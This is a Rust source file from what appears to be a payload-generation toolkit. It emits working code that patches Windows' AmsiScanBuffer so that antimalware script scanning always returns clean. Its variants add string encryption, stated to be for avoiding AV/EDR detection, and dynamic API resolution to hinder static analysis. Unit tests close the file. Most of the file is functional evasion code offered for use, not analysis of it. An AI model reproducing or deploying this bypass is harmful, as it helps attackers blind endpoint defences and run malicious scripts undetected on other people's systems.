//! AMSI Patch Code Generation
 //!
 //! This module generates code for patching Windows Antimalware Scan Interface (AMSI)
 //! to bypass runtime script scanning. The technique works by modifying the AmsiScanBuffer
 //! function in amsi.dll to always return a clean result.
 //!
 //! # AMSI Bypass Technique
 //!
 //! The patch searches for a specific byte pattern (0xC3 0xCC 0xCC) in AmsiScanBuffer,
 //! then scans backwards to find a conditional jump instruction (0x74) that can be
 //! modified to an unconditional jump (0x75), causing the function to always return
 //! success without actually scanning the content.
 //!
 //! # Builder Pattern
 //!
 //! The `AmsiPatchBuilder` provides a flexible way to generate AMSI patch code with
 //! different configurations:
 //!
 //! - **Basic**: Static imports, plaintext strings
 //! - **String Encryption**: Encrypted "amsi.dll" and "AmsiScanBuffer" strings
 //! - **Dynamic Resolver**: Dynamically resolve API functions at runtime
 //!
 //! # Example
 //!
 //! ```
 //! use myph_v2::internals::templates::AmsiPatchBuilder;
 //!
 //! // Basic AMSI patch
 //! let code = AmsiPatchBuilder::new().build();
 //!
 //! // With string encryption
 //! let code = AmsiPatchBuilder::new()
 //!     .with_string_encryption("[encrypted]", "[encrypted]", "[key]", "decrypt_fn", "")
 //!     .build();
 //! ```
 
 /// Builder for generating AMSI patch code with configurable features
 pub struct AmsiPatchBuilder<'a> {
     with_string_encryption: bool,
     with_dynamic_resolver: bool,
     dll_array: Option<&'a str>,
     func_array: Option<&'a str>,
     key_array: Option<&'a str>,
     decrypt_fn: Option<&'a str>,
     expect_clause: Option<&'a str>,
     dynamic_params: Option<DynamicResolverParams<'a>>,
 }
 
 /// Parameters for dynamic function resolution in AMSI patching
 struct DynamicResolverParams<'a> {
     dll_resolver: &'a str,
     func_resolver: &'a str,
     load_library_resolver: &'a str,
     load_library_cast: &'a str,
     get_proc_address_resolver: &'a str,
     get_proc_address_cast: &'a str,
     virtual_protect_resolver: &'a str,
     virtual_protect_cast: &'a str,
 }
 
 impl<'a> AmsiPatchBuilder<'a> {
     pub fn new() -> Self {
         Self {
             with_string_encryption: false,
             with_dynamic_resolver: false,
             dll_array: None,
             func_array: None,
             key_array: None,
             decrypt_fn: None,
             expect_clause: None,
             dynamic_params: None,
         }
     }
 
     pub fn with_string_encryption(
         mut self,
         dll_array: &'a str,
         func_array: &'a str,
         key_array: &'a str,
         decrypt_fn: &'a str,
         expect_clause: &'a str,
     ) -> Self {
         self.with_string_encryption = true;
         self.dll_array = Some(dll_array);
         self.func_array = Some(func_array);
         self.key_array = Some(key_array);
         self.decrypt_fn = Some(decrypt_fn);
         self.expect_clause = Some(expect_clause);
         self
     }
 
     #[allow(clippy::too_many_arguments)]
     pub fn with_dynamic_resolver(
         mut self,
         dll_resolver: &'a str,
         func_resolver: &'a str,
         load_library_resolver: &'a str,
         load_library_cast: &'a str,
         get_proc_address_resolver: &'a str,
         get_proc_address_cast: &'a str,
         virtual_protect_resolver: &'a str,
         virtual_protect_cast: &'a str,
     ) -> Self {
         self.with_dynamic_resolver = true;
         self.dynamic_params = Some(DynamicResolverParams {
             dll_resolver,
             func_resolver,
             load_library_resolver,
             load_library_cast,
             get_proc_address_resolver,
             get_proc_address_cast,
             virtual_protect_resolver,
             virtual_protect_cast,
         });
         self
     }
 
     pub fn build(self) -> String {
         let imports = generate_imports_section(self.with_dynamic_resolver);
         let string_loading = generate_string_loading_section(StringLoadingParams {
             with_string_encryption: self.with_string_encryption,
             with_dynamic_resolver: self.with_dynamic_resolver,
             dll_array: self.dll_array,
             func_array: self.func_array,
             key_array: self.key_array,
             decrypt_fn: self.decrypt_fn,
             expect_clause: self.expect_clause,
             dynamic_params: self.dynamic_params.as_ref(),
         });
         let api_resolution = generate_api_resolution_section(
             self.with_dynamic_resolver,
             self.dynamic_params.as_ref(),
         );
         let protection_resolution = generate_protection_resolution_section(
             self.with_dynamic_resolver,
             self.dynamic_params.as_ref(),
         );
         let patch_logic = generate_patch_logic();
 
         let load_library_fn = if self.with_dynamic_resolver {
             "load_library_a"
         } else {
             "LoadLibraryA"
         };
         let get_proc_address_fn = if self.with_dynamic_resolver {
             "get_proc_address"
         } else {
             "GetProcAddress"
         };
         let virtual_protect_fn = if self.with_dynamic_resolver {
             "virtual_protect"
         } else {
             "VirtualProtect"
         };
 
         format!(
             r#"
 {imports}
 
 const SEARCH_SIZE: usize = 0x1000;
 
 fn patch_amsi() -> Result<(), String> {{
     unsafe {{
         let patch_opcode = 0x75u8;
 
 {string_loading}
 
 {api_resolution}
 
         let h_module = {load_library_fn}(amsi_dll.as_ptr());
         if h_module.is_null() {{
             return Err("Failed to load amsi.dll".to_string());
         }}
 
         let address = {get_proc_address_fn}(h_module, amsi_scan_buffer.as_ptr());
         if address.is_null() {{
             return Err("Failed to get AmsiScanBuffer address".to_string());
         }}
 
 {patch_logic}
 
 {protection_resolution}
 
         if {virtual_protect_fn}(p_patch_address, 1, page_execute_readwrite, &mut old_protect) == 0 {{
             return Err("Failed to change memory protection".to_string());
         }}
 
         *(p_patch_address as *mut u8) = patch_opcode;
 
         if {virtual_protect_fn}(p_patch_address, 1, old_protect, &mut old_protect) == 0 {{
             return Err("Failed to restore memory protection".to_string());
         }}
     }}
 
     Ok(())
 }}
 "#
         )
     }
 }
 
 impl Default for AmsiPatchBuilder<'_> {
     fn default() -> Self {
         Self::new()
     }
 }
 
 fn generate_imports_section(with_dynamic_resolver: bool) -> String {
     if with_dynamic_resolver {
         "use std::ptr::null_mut;".to_string()
     } else {
         r#"use std::ptr::null_mut;
 
 #[link(name = "kernel32")]
 extern "system" {
     fn LoadLibraryA(lp_lib_file_name: *const u8) -> *mut c_void;
     fn GetProcAddress(h_module: *mut c_void, lp_proc_name: *const u8) -> *mut c_void;
 }"#
         .to_string()
     }
 }
 
 struct StringLoadingParams<'a> {
     with_string_encryption: bool,
     with_dynamic_resolver: bool,
     dll_array: Option<&'a str>,
     func_array: Option<&'a str>,
     key_array: Option<&'a str>,
     decrypt_fn: Option<&'a str>,
     expect_clause: Option<&'a str>,
     dynamic_params: Option<&'a DynamicResolverParams<'a>>,
 }
 
 fn generate_string_loading_section(params: StringLoadingParams) -> String {
     if params.with_dynamic_resolver {
         let dyn_params = params.dynamic_params.unwrap();
         format!(
             r#"        {}
         {}
 
         let mut amsi_dll = amsi_dll_decrypted;
         amsi_dll.push(0);
 
         let mut amsi_scan_buffer = amsi_func_decrypted;
         amsi_scan_buffer.push(0);"#,
             dyn_params.dll_resolver, dyn_params.func_resolver
         )
     } else if params.with_string_encryption {
         format!(
             r#"        const ENCRYPTED_AMSI_DLL: &[u8] = &{};
         const ENCRYPTED_AMSI_FUNC: &[u8] = &{};
         const AMSI_KEY: &[u8] = &{};
 
         let amsi_dll_decrypted = {}(ENCRYPTED_AMSI_DLL, AMSI_KEY){};
         let amsi_func_decrypted = {}(ENCRYPTED_AMSI_FUNC, AMSI_KEY){};
 
         let mut amsi_dll = amsi_dll_decrypted;
         amsi_dll.push(0);
 
         let mut amsi_scan_buffer = amsi_func_decrypted;
         amsi_scan_buffer.push(0);"#,
             params.dll_array.unwrap_or(""),
             params.func_array.unwrap_or(""),
             params.key_array.unwrap_or(""),
             params.decrypt_fn.unwrap_or(""),
             params.expect_clause.unwrap_or(""),
             params.decrypt_fn.unwrap_or(""),
             params.expect_clause.unwrap_or("")
         )
     } else {
         r#"        let amsi_dll = b"amsi.dll\0";
         let amsi_scan_buffer = b"AmsiScanBuffer\0";"#
             .to_string()
     }
 }
 
 fn generate_api_resolution_section(
     with_dynamic_resolver: bool,
     dynamic_params: Option<&DynamicResolverParams>,
 ) -> String {
     if with_dynamic_resolver {
         let params = dynamic_params.unwrap();
         format!(
             r#"        {}
         {}
 
         {}
         {}"#,
             params.load_library_resolver,
             params.load_library_cast,
             params.get_proc_address_resolver,
             params.get_proc_address_cast
         )
     } else {
         String::new()
     }
 }
 
 fn generate_protection_resolution_section(
     with_dynamic_resolver: bool,
     dynamic_params: Option<&DynamicResolverParams>,
 ) -> String {
     if with_dynamic_resolver {
         let params = dynamic_params.unwrap();
         format!(
             r#"        let mut old_protect: u32 = 0;
         let page_execute_readwrite: u32 = 0x40;
 
         {}
         {}"#,
             params.virtual_protect_resolver, params.virtual_protect_cast
         )
     } else {
         r#"        let mut old_protect: u32 = 0;
         let page_execute_readwrite: u32 = 0x40;"#
             .to_string()
     }
 }
 
 fn generate_patch_logic() -> String {
     r#"        let pattern = [0xC3u8, 0xCCu8, 0xCCu8];
         let mut p_patch_address: *mut c_void = null_mut();
         let bytes = std::slice::from_raw_parts(address as *const u8, SEARCH_SIZE);
 
         if let Some(x) = bytes.windows(pattern.len()).position(|window| window == pattern) {{
             for i in (0..x).rev() {{
                 if bytes[i] == 0x74 {{
                     let offset = bytes.get(i + 1).copied().unwrap_or(0);
                     let target_index = i.wrapping_add(2).wrapping_add(offset as usize);
 
                     if target_index < SEARCH_SIZE && bytes.get(target_index) == Some(&0xB8) {{
                         p_patch_address = (address as *const u8).add(i) as *mut c_void;
                         break;
                     }}
                 }}
             }}
         }}
 
         if p_patch_address.is_null() {{
             return Err("Failed to find patch location".to_string());
         }}"#
     .to_string()
 }
 
 /// Generates basic AMSI patch code with static imports and plaintext strings.
 ///
 /// This is the simplest form of AMSI patching, using standard Windows API imports
 /// and unencrypted strings. Suitable when stealth is not a primary concern.
 ///
 /// # Returns
 ///
 /// A Rust code string containing the `patch_amsi()` function with static imports.
 pub fn generate_amsi_patch_code() -> String {
     AmsiPatchBuilder::new().build()
 }
 
 /// Generates AMSI patch code with encrypted strings for "amsi.dll" and "AmsiScanBuffer".
 ///
 /// This variant encrypts the critical strings to avoid static detection by AV/EDR solutions.
 /// The strings are decrypted at runtime before use.
 ///
 /// # Arguments
 ///
 /// * `dll_array` - Encrypted byte array for "amsi.dll"
 /// * `func_array` - Encrypted byte array for "AmsiScanBuffer"
 /// * `key_array` - Encryption key byte array
 /// * `decrypt_fn` - Name of the decryption function to call
 /// * `expect_clause` - Optional expect clause for error handling (e.g., ".expect(\"msg\")")
 ///
 /// # Returns
 ///
 /// A Rust code string containing the `patch_amsi()` function with string encryption.
 pub fn generate_amsi_patch_code_with_string_encryption(
     dll_array: &str,
     func_array: &str,
     key_array: &str,
     decrypt_fn: &str,
     expect_clause: &str,
 ) -> String {
     AmsiPatchBuilder::new()
         .with_string_encryption(dll_array, func_array, key_array, decrypt_fn, expect_clause)
         .build()
 }
 
 /// Parameters for AMSI patching with dynamic function resolution.
 ///
 /// These parameters provide the code snippets needed to dynamically resolve
 /// Windows API functions at runtime, avoiding static IAT entries.
 pub struct AmsiDynamicResolverParams<'a> {
     pub dll_resolver: &'a str,
     pub func_resolver: &'a str,
     pub load_library_resolver: &'a str,
     pub load_library_cast: &'a str,
     pub get_proc_address_resolver: &'a str,
     pub get_proc_address_cast: &'a str,
     pub virtual_protect_resolver: &'a str,
     pub virtual_protect_cast: &'a str,
 }
 
 /// Generates AMSI patch code with dynamic function resolution.
 ///
 /// This is the most sophisticated variant, resolving all required Windows API functions
 /// at runtime through PEB walking. This avoids static imports in the IAT and makes
 /// static analysis more difficult.
 ///
 /// # Arguments
 ///
 /// * `params` - Configuration for dynamic function resolution including code snippets
 ///   for resolving LoadLibraryA, GetProcAddress, and VirtualProtect
 ///
 /// # Returns
 ///
 /// A Rust code string containing the `patch_amsi()` function with dynamic resolution.
 pub fn generate_amsi_patch_code_with_dynamic_resolver(params: AmsiDynamicResolverParams) -> String {
     AmsiPatchBuilder::new()
         .with_dynamic_resolver(
             params.dll_resolver,
             params.func_resolver,
             params.load_library_resolver,
             params.load_library_cast,
             params.get_proc_address_resolver,
             params.get_proc_address_cast,
             params.virtual_protect_resolver,
             params.virtual_protect_cast,
         )
         .build()
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
     #[test]
     fn test_generate_amsi_patch_code_basic() {
         let code = generate_amsi_patch_code();
         assert!(code.contains("fn patch_amsi() -> Result<(), String>"));
         assert!(code.contains("const SEARCH_SIZE: usize = 0x1000"));
         assert!(code.contains("let amsi_dll = b\"amsi.dll\\0\""));
         assert!(code.contains("let amsi_scan_buffer = b\"AmsiScanBuffer\\0\""));
         assert!(code.contains("LoadLibraryA"));
         assert!(code.contains("GetProcAddress"));
         assert!(code.contains("let patch_opcode = 0x75u8"));
         assert!(code.contains("#[link(name = \"kernel32\")]"));
     }
 
     #[test]
     fn test_generate_amsi_patch_code_with_string_encryption() {
         let dll_array = "[1, 2, 3]";
         let func_array = "[4, 5, 6]";
         let key_array = "[7, 8, 9]";
         let decrypt_fn = "internals::decrypt_xor";
         let expect_clause = "";
 
         let code = generate_amsi_patch_code_with_string_encryption(
             dll_array,
             func_array,
             key_array,
             decrypt_fn,
             expect_clause,
         );
 
         assert!(code.contains("fn patch_amsi() -> Result<(), String>"));
         assert!(code.contains("const ENCRYPTED_AMSI_DLL: &[u8] = &[1, 2, 3]"));
         assert!(code.contains("const ENCRYPTED_AMSI_FUNC: &[u8] = &[4, 5, 6]"));
         assert!(code.contains("const AMSI_KEY: &[u8] = &[7, 8, 9]"));
         assert!(code.contains("internals::decrypt_xor"));
         assert!(code.contains("let mut amsi_dll = amsi_dll_decrypted"));
         assert!(code.contains("amsi_dll.push(0)"));
         assert!(code.contains("#[link(name = \"kernel32\")]"));
     }
 
     #[test]
     fn test_generate_amsi_patch_code_with_dynamic_resolver() {
         let params = AmsiDynamicResolverParams {
             dll_resolver: "let amsi_dll_decrypted = vec![1, 2, 3];",
             func_resolver: "let amsi_func_decrypted = vec![4, 5, 6];",
             load_library_resolver: "let load_lib_ptr = resolve_function();",
             load_library_cast: "let load_library_a = std::mem::transmute(load_lib_ptr);",
             get_proc_address_resolver: "let get_proc_ptr = resolve_function();",
             get_proc_address_cast: "let get_proc_address = std::mem::transmute(get_proc_ptr);",
             virtual_protect_resolver: "let vp_ptr = resolve_function();",
             virtual_protect_cast: "let virtual_protect = std::mem::transmute(vp_ptr);",
         };
 
         let code = generate_amsi_patch_code_with_dynamic_resolver(params);
 
         assert!(code.contains("fn patch_amsi() -> Result<(), String>"));
         assert!(code.contains("let amsi_dll_decrypted = vec![1, 2, 3]"));
         assert!(code.contains("let amsi_func_decrypted = vec![4, 5, 6]"));
         assert!(code.contains("let load_lib_ptr = resolve_function()"));
         assert!(code.contains("let get_proc_ptr = resolve_function()"));
         assert!(code.contains("let vp_ptr = resolve_function()"));
         assert!(!code.contains("#[link(name = \"kernel32\")]"));
         assert!(code.contains("load_library_a(amsi_dll.as_ptr())"));
         assert!(code.contains("get_proc_address(h_module, amsi_scan_buffer.as_ptr())"));
         assert!(code.contains("virtual_protect(p_patch_address"));
     }
 
     #[test]
     fn test_amsi_patch_builder_basic() {
         let code = AmsiPatchBuilder::new().build();
         assert!(code.contains("fn patch_amsi() -> Result<(), String>"));
         assert!(code.contains("let amsi_dll = b\"amsi.dll\\0\""));
     }
 
     #[test]
     fn test_amsi_patch_builder_with_string_encryption() {
         let code = AmsiPatchBuilder::new()
             .with_string_encryption(
                 "[10, 20, 30]",
                 "[40, 50, 60]",
                 "[70, 80, 90]",
                 "decrypt_aes",
                 ".expect(\"Failed\")",
             )
             .build();
 
         assert!(code.contains("const ENCRYPTED_AMSI_DLL: &[u8] = &[10, 20, 30]"));
         assert!(code.contains("decrypt_aes"));
         assert!(code.contains(".expect(\"Failed\")"));
     }
 
     #[test]
     fn test_amsi_patch_builder_with_dynamic_resolver() {
         let code = AmsiPatchBuilder::new()
             .with_dynamic_resolver(
                 "dll_resolve",
                 "func_resolve",
                 "load_lib_resolve",
                 "load_lib_cast",
                 "getproc_resolve",
                 "getproc_cast",
                 "vp_resolve",
                 "vp_cast",
             )
             .build();
 
         assert!(code.contains("dll_resolve"));
         assert!(code.contains("func_resolve"));
         assert!(code.contains("load_lib_resolve"));
         assert!(code.contains("vp_resolve"));
         assert!(!code.contains("#[link(name = \"kernel32\")]"));
     }
 
     #[test]
     fn test_all_variants_contain_common_logic() {
         let basic = generate_amsi_patch_code();
         let encrypted =
             generate_amsi_patch_code_with_string_encryption("[1]", "[2]", "[3]", "decrypt", "");
         let dynamic = generate_amsi_patch_code_with_dynamic_resolver(AmsiDynamicResolverParams {
             dll_resolver: "let amsi_dll_decrypted = vec![];",
             func_resolver: "let amsi_func_decrypted = vec![];",
             load_library_resolver: "",
             load_library_cast: "",
             get_proc_address_resolver: "",
             get_proc_address_cast: "",
             virtual_protect_resolver: "",
             virtual_protect_cast: "",
         });
 
         for code in [basic, encrypted, dynamic] {
             assert!(code.contains("const SEARCH_SIZE: usize = 0x1000"));
             assert!(code.contains("let patch_opcode = 0x75u8"));
             assert!(code.contains("let pattern = [0xC3u8, 0xCCu8, 0xCCu8]"));
             assert!(code.contains("Failed to find patch location"));
             assert!(code.contains("if bytes[i] == 0x74"));
             assert!(code.contains("let page_execute_readwrite: u32 = 0x40"));
         }
     }
 
     #[test]
     fn test_generate_imports_section() {
         let with_static = generate_imports_section(false);
         assert!(with_static.contains("#[link(name = \"kernel32\")]"));
         assert!(with_static.contains("LoadLibraryA"));
 
         let with_dynamic = generate_imports_section(true);
         assert!(!with_dynamic.contains("#[link(name = \"kernel32\")]"));
         assert!(with_dynamic.contains("use std::ptr::null_mut"));
     }
 
     #[test]
     fn test_generate_patch_logic() {
         let logic = generate_patch_logic();
         assert!(logic.contains("let pattern = [0xC3u8, 0xCCu8, 0xCCu8]"));
         assert!(logic.contains("if bytes[i] == 0x74"));
         assert!(logic.contains("Failed to find patch location"));
     }
 
     #[test]
     fn test_builder_default() {
         let builder = AmsiPatchBuilder::default();
         assert!(!builder.with_string_encryption);
         assert!(!builder.with_dynamic_resolver);
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit